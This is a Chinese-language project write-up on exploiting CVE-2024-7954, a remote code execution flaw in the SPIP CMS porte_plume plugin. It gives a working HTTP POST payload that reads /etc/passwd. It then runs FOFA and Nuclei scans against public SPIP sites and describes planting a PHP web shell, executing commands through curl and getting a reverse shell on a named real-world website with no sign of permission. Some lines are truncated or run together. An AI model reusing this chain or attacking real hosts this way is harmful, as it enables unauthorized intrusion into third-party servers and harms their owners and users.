远程代码执行漏洞的利用- (CVE-2024-7954)
软件漏洞测试项目 提交者: Shivansh Kuntal
本项目演示了利用 CVE-2024-7954(一个影响 SPIP CMS 及其 porte_plume 插件的严重远程代码执行(RCE)漏洞)的完整流程。
该漏洞允许未认证攻击者通过精心构造的 HTTP POST 请求在目标服务器上执行任意 PHP 代码。
测试在受控的本地环境中进行,随后扩展至使用 FOFA 和 Nuclei 的现实世界侦察。
在本地 Apache 服务器上部署了受 CVE-2024-7954 影响、已确认存在漏洞的 SPIP CMS 版本,使用一个托管已知易受攻击版本的 GitHub 仓库进行部署。
使用的工具
运行在 localhost 上的 SPIP 首页验证了安装成功,并作为利用目标。
porte_plume 插件(4.30-alpha2、4.2.13、4.1.16 之前的版本)由于对用户提供的输入清理不足而存在漏洞。 攻击者可以向特定表单字段注入 PHP 代码,这些代码随后会被服务器渲染并执行。
影响: 未认证远程代码执行 严重程度: 严重 攻击向量: 网络 / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
使用 FOFA 查询来枚举公开的 SPIP 安装:
app="SPIP"
FOFA 返回了多个元数据点:
targets.txt 以进行批量扫描。确定了一个合适的现实世界主机:
http://www.comite-tricolore.org/
由于手动利用速度较慢,使用 Nuclei 在大量目标上自动检测 CVE-2024-7954。
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt 加载 FOFA 结果-t 加载自定义 PoC 模板注意: 初始模板返回无匹配项。
nuclei -l targets.txt -t cves/
此扫描识别出一个响应的目标:
http://www.comite-tricolore.org/
访问:
http://www.comite-tricolore.org/spip.php?page=contact
已确认:
使用 Burp Suite 或 curl,修改 message 参数:
载荷
<?php system($_GET['cmd']); ?>
访问:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
或使用 curl:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
输出确认了远程命令执行。
精心构造的载荷可实现反弹 Shell 回调,从而允许:
whoamils本项目演示了 CVE-2024-7954 从侦察到获得交互式 Shell 的完整利用链。
该漏洞凸显了一个看似无害的文本格式化插件在安全配置不当的情况下如何导致系统完全沦陷。